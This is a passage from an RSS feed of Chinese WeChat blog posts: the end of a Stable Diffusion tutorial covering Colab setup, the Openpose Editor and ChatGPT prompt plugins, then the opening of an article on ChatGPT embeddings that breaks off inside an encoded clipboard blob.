src="https://wechat2rss.xlab.app/img-proxy/?k=c9d99fbb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznpQRSaO4iayvZ7pEfiaZU983MFCzuKQXyl3X45KMz90xGWybicqPic0Ipvg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>连接成功就会</span><strong>变成绿色</strong></p><p style="min-height: 24px;"><img data-ratio="0.6833333333333333" width="501" data-type="png" data-w="660" src="https://wechat2rss.xlab.app/img-proxy/?k=c97926e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibzn62icMOMHuOpChghbWPZqic3MibgFDlOS1ENRUx9xxh9wQmLsMWf5aPReg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>免费的计算单元式有限的，</span><strong>你也可以考虑升级Colab Pro或者Pro+来获得稳定的计算资源。</strong><span>Colab Pro的价格是大概每月75.</span></p><p style="min-height: 24px;"><img data-ratio="0.6789237668161435" width="1013.6363416663876" data-type="png" data-w="1115" src="https://wechat2rss.xlab.app/img-proxy/?k=4b8f4117&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznZMgiaqKUDR2WROpD6JKXib1KMDUiaGx2t6cMSmPeC1s1N8SNGwrC12vQA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>在登陆成功并里连接好机器之后，你就可以按照步骤逐步点击操作，</span><strong>每一步点开箭头按钮即可</strong><span>。</span></p><p style="min-height: 24px;"><img data-ratio="0.23952095808383234" width="455.45453558283424" data-type="png" data-w="501" src="https://wechat2rss.xlab.app/img-proxy/?k=e049f408&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznjsrX04viaUE9KKkniaNJrMiayjaAw9n3DHCkibZEIRYdqgXU5PGYVvKxug%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>这里需要下载的各种内容都会</span><strong>直接下载到你账号对应的Google云端硬盘。</strong></p><p style="min-height: 24px;"><span>然后是一些比较重要的设置，首先基础的模型包中选择合适的模型，</span><strong>在上篇文章提到过Chilloutmix是一个人像的写实通用模型</strong><span>，正常来说我们都会选择这个。</span></p><p style="min-height: 24px;"><img data-ratio="0.6954206602768903" width="853.6363451342942" data-type="png" data-w="939" src="https://wechat2rss.xlab.app/img-proxy/?k=9192c046&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznUCIU6BbmM6FlxhNozlS58U7kkrMmxIkqHcSO9icsx6r1aav5FH8cAHA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>当然，如果你想要下载其他模型，你也可以在这里填入相应的包链接下载。</span><strong>包括后面的LoRa也是一样。</strong><span>其他的大部分内容都不用更改，直接跑完即可。</span></p><p style="min-height: 24px;"><strong>最后点击运行启动web ui</strong></p><p style="min-height: 24px;"><img data-ratio="0.22287390029325513" width="929.9999798427933" data-type="png" data-w="1023" src="https://wechat2rss.xlab.app/img-proxy/?k=f721f308&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznk58ChKdwWtXsxRrZC5icibmS4lqYicOFuQae78tar26iasz9raejero2Mg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5274861025324274" width="1471.8181499173825" data-type="png" data-w="1619" src="https://wechat2rss.xlab.app/img-proxy/?k=649aa27d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznNLNhyfhZs59YqJFGUuFj83BIyF2YZbAz9K0vjvWiapYZeXCOuurXmvA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>然后你就可以直接使用在线版本的stable了，要注意的是免费的colab会有两个问题</span></p><p style="min-height: 24px;"><span>1、</span><strong>免费的colab只能连续运行十几小时</strong><span>，再用就必须停一段时间，就又会获得新的免费时间。</span></p><p style="min-height: 24px;"><span>2、</span><strong>在使用人数比较多的时候，免费账户可能会申请不到GPU算力。</strong></p><p style="min-height: 24px;"><span>当然如果你用的是colab pro就不用这么麻烦了。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>在Stable diffusion基础上的第三方</span></h2><p style="min-height: 24px;"><span>其实市面上有很多很多的第三方开发AI绘图工具是</span><strong>基于Stable diffusion做的</strong><span>，其中很多都很好用，适当的付费就可以换来非常好用的工具，就比如Civitai中，你就可以直接</span><strong>点击跳转到第三方网站付费运行相应的模型。</strong></p><p style="min-height: 24px;"><img data-ratio="0.7306642402183804" width="999.0908874361972" data-type="png" data-w="1099" src="https://wechat2rss.xlab.app/img-proxy/?k=8d48afcb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznI7uIwXqUZXzicalej64kicELA5joIs5MKk0AU6w7pl39dZwvJHqqsUiag%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>除了这些内置的以外，其中有个我感觉比较好用的是</span><strong>Vega AI</strong></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://rightbrain.art/" target="_blank">https://rightbrain.art/</a></p></li></ul><p style="min-height: 24px;"><img data-ratio="0.4261968085106383" width="1367.2726976378897" data-type="png" data-w="1504" src="https://wechat2rss.xlab.app/img-proxy/?k=2789852d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznqF6NnkTGubyGqXltwiabjtoIbCjrP0lyicMvCgVNmetmUTQibL0HhiauicQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>这个网站已经把Stable diffusion包装成很接近</span><strong>midjounry</strong><span>的工具了，你可以</span><strong>非常简单的选择模型并输出描述文案，并且可以在图片基础上做反复微调</strong><span>，虽然这都是Stable diffusion本身的功能，但不得不说在包装后更好用了。</span></p><p style="min-height: 24px;"><img data-ratio="0.8519040902679831" width="690.178955078125" data-type="png" data-w="1418" src="https://wechat2rss.xlab.app/img-proxy/?k=fe9e0d31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznLsOTqrkagqBo4CIwpGZroPxLrYLDeqq6I0uwRHiclcKxMICNONWou9g%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>Stable diffusion拓展插件</span></h1><p style="min-height: 24px;"><span>在上篇文章讲到Stable diffusion本身的各种用法，其实除了本体以外，</span><strong>Stable diffusion还支持拓展插件</strong><span>，可以有非常不错的功能拓展。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>Openpose 骨骼绑定</span></h2><p style="min-height: 24px;"><span>Openpose Editor是</span><strong>一个最近比较流行的骨骼动作编辑插件</strong><span>，你可以直接在下面的链接下载这个插件。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://github.com/fkunn1326/openpose-editor" target="_blank">https://github.com/fkunn1326/openpose-editor</a></p></li></ul><p style="min-height: 24px;"><img data-ratio="0.4515738498789346" width="1501.8181492671501" data-type="png" data-w="1652" src="https://wechat2rss.xlab.app/img-proxy/?k=e43987c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibzngf0PiciaFABN905CJlAOM9iaNXkuRqGaeRYQHmQu6mO3PeUameY1ZOMNw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>通过这个插件，你可以在一定程度上</span><strong>设定生成图片的人物骨骼结构。从而生成指定的图片。</strong></p><p style="min-height: 24px;"><span>在导入Openpose插件之后，你可以在上面选择</span><strong>Openpose编辑器</strong></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.10106820049301561" width="1106.363612383851" data-type="png" data-w="1217" src="https://wechat2rss.xlab.app/img-proxy/?k=49797754&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznH13HFY2yI52DLJm9NKXRTxEib1hPnn3l5qbzLoys93ib3HNf42wfZJIg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>然后选择简单的骨骼结构之后</span><strong>推导到文生图继续编辑</strong><span>，在左下角勾选</span><strong>启用，和低vram模式</strong><span>，其他的基本不用动。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.8304891922639362" width="799.0908917710805" data-type="png" data-w="879" src="https://wechat2rss.xlab.app/img-proxy/?k=598a2ab4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibzntxvhMaMcMRRicGNll4FQJOiadiaQy9XmbezJQRdDI7UwbX3PrBNVeZm2w%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>这样就可以跑出来一张指定骨骼样子的图片</span></p><p style="min-height: 24px;"><img data-ratio="0.5034656584751103" width="1442.7272414570018" data-type="png" data-w="1587" src="https://wechat2rss.xlab.app/img-proxy/?k=35e39371&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznlrz2rBp2RpSacQDUJeOMbLfhhVxO4wZC3LOWbJreuoJQlKxuC0eO9Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>除了指定骨骼以外，</span><strong>你还可以通过上传图片来解构图片本身的骨骼，然后再用来指定和生成</strong><span>，这个Openpose在生成人物图片的优先级以及效果远比图生图效果要好，尤其是可以很大程度还原图片本身的样式。</span></p><p style="min-height: 24px;"><span>在OpenPose编辑器中使用</span><strong>Detect from image获取图片中的人物骨骼</strong></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6812039312039312" width="650.178955078125" data-type="png" data-w="1628" src="https://wechat2rss.xlab.app/img-proxy/?k=46af6af9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibzniaHt8uOMflRdKrUG7qzngia328TJNHa5MlcHSia7T4nYVQI37hSCIibXRA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>然后发送到</span><strong>文生图或者图生图里传入关键字</strong><span>。等待一会儿就会生成对应的图了</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5258741258741259" width="1299.9999718232596" data-type="png" data-w="1430" src="https://wechat2rss.xlab.app/img-proxy/?k=1255e50f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibzn9ibYpwed5vEH2ckDkPOfiaHKuHwibqXDaY5ic0qkjqDo58q1PK6onY8Hrg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>当然这里这个简单的骨骼绑定还是比较简单的一种，</span><strong>配合适当的ControlNet插件你还可以做到线稿成图、色块成图等等类似的操作。</strong></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>ChatGPT关键字</span></h2><p style="min-height: 24px;"><span></span><span style="letter-spacing: 0.034em;">其实我觉得Stable diffusion里</span><strong style="letter-spacing: 0.034em;">最不实用的关键点就是正向和负向关键字</strong><span style="letter-spacing: 0.034em;">，关键字系统本身相当复杂而且还只能识别英语，并且</span><strong style="letter-spacing: 0.034em;">里面的优先级问题和竞争问题相当复杂</strong><span style="letter-spacing: 0.034em;">，对于使用者来说，这点就是一个相当大的门槛。反之在</span><strong style="letter-spacing: 0.034em;">midjounry</strong><span style="letter-spacing: 0.034em;">中这方面就做的非常好，你可以用中文描述场景在逐步优化。</span></p><p style="min-height: 24px;"><span>而现在，你可以用一个简单的ChatGPT插件来实现类似的功能，在配置上chatgpt的api之后你就可以</span><strong>用GPT3.5来解构和构造关键字。</strong></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://github.com/hallatore/stable-diffusion-webui-chatgpt-utilities" target="_blank">https://github.com/hallatore/stable-diffusion-webui-chatgpt-utilities</a></p></li></ul><p style="min-height: 24px;"><span>成功安装之后，可以在设置里找到ChatGPT Utilities，点开并配置Chatgpt 的apikey</span></p><p style="min-height: 24px;"><img data-ratio="0.6318631863186318" width="1009.9999781088401" data-type="png" data-w="1111" src="https://wechat2rss.xlab.app/img-proxy/?k=ebc8d651&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznYic7QiazDjick0B9XbXPtPzDKk2nQmkltGvwKTgSXVN8nnOtSp8TmOeYw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>然后在对应文生图中，</span><strong>script中选择对应的ChatGPT，就会弹出以下的选项卡，我们可以在这里自动生成prompt.</strong></p><p style="min-height: 24px;"><span>后台会用你设定的ChatGPT apikey去生成图片的prompt</span></p><p style="min-height: 24px;"><img data-ratio="0.2092901878914405" width="1741.8181440652902" data-type="png" data-w="1916" src="https://wechat2rss.xlab.app/img-proxy/?k=92842bda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznOuaBM3rXnic3aeGY9FpiaFJyA0DeGyrRKn7cESrZQykianrLRqlrACBqA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>然后会生成对应的图</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5236668663870582" width="1517.2726943867274" data-type="png" data-w="1669" src="https://wechat2rss.xlab.app/img-proxy/?k=8d8726cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznFjRBiaIgj77AWaX9Z9r6BbLIkqvr5RvJVcjoxfdfFm0gaPANYaeKmsw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>当然</span><strong>让chatgpt去生成prompt是比较简单的应用方式</strong><span>，你也可以指定部分prompt，然后进一步生成图片。比如</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">基于 {prompt}，生成不同姿势的粉色头发美女</pre><p style="min-height: 24px;"><span>这种情况下，你先去</span><strong>搞一个比较靠谱的prompt，再自定义做修改，</strong><span>就不会像以前一样对超长的prompt无从下手了。当然，我试了几次之后发现</span><strong>，其实chatgpt不太能理解这个预设的prompt，效果没有直接描述场景更好。</strong></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5303131245836109" width="1364.5454249697289" data-type="png" data-w="1501" src="https://wechat2rss.xlab.app/img-proxy/?k=a4bc0860&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznZ5lNqqlDTQtWR7hnToNvrrItnIxXicjicdnXVZs1dtoIxGIv5ghibhQgw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>生成的图有点儿崩了，这里我就打码了</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>写在最后</span></h1><p style="min-height: 24px;"><span>在研究Stable diffusion的过程中，真的感觉现在这个东西好成熟，没想到AI革命，很多行业都还没革明白，但再设计圈已经掀起翻天波浪了。下次文章会聊聊另一个神器</span><strong>midjounry</strong></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://lorexxar.cn/2023/06/02/cyber-girl2/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=42c8a720&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484024%26idx%3D1%26sn%3Ded9552e2f08d4374adb0095757d1c003%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 02 Jun 2023 18:20:00 +0800</pubDate>
    </item>
    <item>
      <title>从0到1的ChatGPT - 进阶篇（五）- Embeddings</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247483998&amp;idx=1&amp;sn=5172d8a51f551754a99a01d5d24b81dd</link>
      <description>在前面的文章中，无论是各种prompt技巧，又或者是对话技巧，更或者是各种数据集训练，都逃不开两个致命的问题。</description>
      <content:encoded><![CDATA[<p>
原创 <span>LoRexxar</span> <span>2023-05-25 15:18</span> <span style="display: inline-block;">北京</span>
</p>

<p>在前面的文章中，无论是各种prompt技巧，又或者是对话技巧，更或者是各种数据集训练，都逃不开两个致命的问题。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=4e284f98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJkQkSjos6USox2Ow85xeZh1SYIrXiarLiahHbw96G2ZC48bXwyxlmc4OzIbY2APbUZYnVS36GmAkNTh8Db0Rdy4w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><ne-clipboard data="%7B%22type%22%3A%22fragment%22%2C%22name%22%3A%22%23fragment%22%2C%22children%22%3A%5B%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u5d41b895%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u62922861%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%9C%A8%E5%89%8D%E9%9D%A2%E7%9A%84%E6%96%87%E7%AB%A0%E4%B8%AD%EF%BC%8C%E6%97%A0%E8%AE%BA%E6%98%AF%E5%90%84%E7%A7%8Dprompt%E6%8A%80%E5%B7%A7%EF%BC%8C%E5%8F%88%E6%88%96%E8%80%85%E6%98%AF%E5%AF%B9%E8%AF%9D%E6%8A%80%E5%B7%A7%EF%BC%8C%E6%9B%B4%E6%88%96%E8%80%85%E6%98%AF%E5%90%84%E7%A7%8D%E6%95%B0%E6%8D%AE%E9%9B%86%E8%AE%AD%E7%BB%83%EF%BC%8C%E9%83%BD%E9%80%83%E4%B8%8D%E5%BC%80%E4%B8%A4%E4%B8%AA%E8%87%B4%E5%91%BD%E7%9A%84%E9%97%AE%E9%A2%98%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u16cd4a15%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf0c04eb2%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%221%E3%80%81ChatGPT%E5%8F%AA%E8%83%BD%E5%A4%84%E7%90%86%E6%96%87%E5%AD%97%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u02c688b5%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue0d0329e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%222%E3%80%81%E6%97%A0%E8%AE%BA%E6%98%AF%E4%B8%8A%E4%B8%8B%E6%96%87%E5%8F%82%E8%80%83%EF%BC%8C%E8%BF%98%E6%98%AF%E5%8D%95%E6%9D%A1%E5%AF%B9%E8%AF%9D%E9%83%BD%E6%9C%89token%E9%99%90%E5%88%B6%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u987de3f9%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ufd9e8a62%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E6%89%80%E4%BB%A5%E5%9C%A8ChatGPT%E4%B8%AD%EF%BC%8C%E5%BE%88%E5%A4%9A%E5%BA%94%E7%94%A8%E6%96%B9%E5%90%91%E9%81%87%E5%88%B0%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E9%97%AE%E9%A2%98%E5%B0%B1%E6%98%AF%E5%A6%82%E4%BD%95%E6%8A%8A%E9%97%AE%E9%A2%98%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua586bf6a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E7%94%A8%E6%96%87%E5%AD%97%E7%9A%84%E6%96%B9%E5%BC%8F%E6%8F%8F%E8%BF%B0%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u3a71aedc%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%87%BA%E6%9D%A5%EF%BC%8C%E5%85%B6%E4%B8%AD%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u94bf3aec%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E6%9C%80%E5%85%B8%E5%9E%8B%E7%9A%84%E5%9C%BA%E6%99%AF%E5%B0%B1%E6%98%AF%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uf184387c%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf5f8c140%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E6%89%80%E4%BB%A5ChatGPT%E4%B9%9F%E9%BC%93%E5%8A%B1%E4%BD%BF%E7%94%A8%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u01befaa3%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22Embeddings%E6%9D%A5%E5%81%9A%E7%B1%BB%E4%BC%BC%E6%90%9C%E7%B4%A2%E3%80%81%E5%88%86%E7%B1%BB%E6%88%96%E8%80%85%E5%BC%82%E5%B8%B8%E6%A3%80%E6%B5%8B%E7%9A%84%E5%88%86%E6%9E%90%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf252e3a5%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E8%BF%99%E7%AF%87%E6%96%87%E7%AB%A0%E5%B0%B1%E8%AE%B2%E8%AE%B2%E8%BF%99%E4%B8%AA%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22Z2n2V%22%2C%22name%22%3A%22h1%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6636e2a5%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22Embeddings%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ubc28f64a%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u62d63d28%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22Embeddings%E6%98%AF%E6%8B%93%E6%89%91%E5%AD%A6%E4%B8%AD%E7%9A%84%E4%B8%80%E4%B8%AA%E6%A6%82%E5%BF%B5%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6692581c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E8%BF%99%E4%B8%AA%E8%AF%8D%E8%A2%AB%E6%99%AE%E9%81%8D%E6%8F%90%E5%87%BA%E6%9D%A5%E6%98%AF%E5%9C%A8%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u8e59310c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E9%A2%86%E5%9F%9F%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uab7f9752%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E3%80%82%E6%8A%9B%E5%BC%80%E5%A4%8D%E6%9D%82%E7%9A%84%E7%90%86%E8%AE%BA%E4%B8%8D%E8%B0%88%EF%BC%8C%E7%AE%80%E5%8D%95%E6%9D%A5%E8%AF%B4%E5%B0%B1%E6%98%AF%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud98be720%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E9%80%9A%E8%BF%87%E6%95%B0%E5%AD%A6%E7%9A%84%E6%96%B9%E5%BC%8F%E6%8A%8A%E4%B8%80%E4%B8%AA%E5%86%85%E5%AE%B9%E7%BB%99%E5%90%91%E9%87%8F%E5%8C%96%EF%BC%8C%E7%94%A8%E4%B8%80%E4%BA%9B%E9%9D%9E%E5%B8%B8%E5%A4%8D%E6%9D%82%E7%9A%84%E5%90%91%E9%87%8F%E6%9D%A5%E4%BB%A3%E6%9B%BF%E5%86%85%E5%AE%B9%E6%9C%AC%E8%BA%AB%E3%80%82%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u31fd5256%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E8%BF%99%E6%98%AF%E4%B8%80%E7%A7%8D%E8%AF%95%E5%9B%BE%E9%80%9A%E8%BF%87%E6%95%B0%E5%AD%A6%E7%90%86%E8%AE%BA%E8%A7%A3%E8%AF%BB%E9%97%AE%E9%A2%98%E7%9A%84%E6%96%B9%E6%A1%88%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u62c0cd22%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u11d86b93%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E8%BF%99%E9%87%8C%E6%88%91%E6%8B%BF%E4%B8%80%E4%B8%AA%E7%89%B9%E5%88%AB%E7%AE%80%E5%8D%95%E7%9A%84%E4%BE%8B%E5%AD%90%E6%9D%A5%E8%A7%A3%E9%87%8A%E4%B8%80%E4%B8%8BEmbeddings%E3%80%82%E8%BF%99%E9%87%8C%E8%BF%99%E4%B8%AA%E4%BE%8B%E5%AD%90%E5%8F%82%E8%80%83%E4%BA%86%E4%B8%80%E4%B8%AA%E7%9F%A5%E4%B9%8E%E7%9A%84%E5%B8%96%E5%AD%90%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u0e5f3e93%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua7e6464e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%81%87%E8%AE%BE%E6%88%91%E4%BB%AC%E9%9C%80%E8%A6%81%E6%8B%9B%E8%81%98%E4%B8%80%E4%B8%AA%E7%A8%8B%E5%BA%8F%E5%91%98%EF%BC%8C%E9%82%A3%E4%B9%88%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E6%8A%8A%E6%8B%9B%E8%81%98%E9%9C%80%E6%B1%82%E6%8A%BD%E8%B1%A1%E6%88%90%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uffd0713c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%225%E4%B8%AA%E7%BB%B4%E5%BA%A6%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u38025433%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E6%AF%94%E5%A6%82%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u83607566%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E4%BC%9Apython%EF%BC%8C%E5%86%99%E8%BF%87%E9%A1%B9%E7%9B%AE%EF%BC%8C%E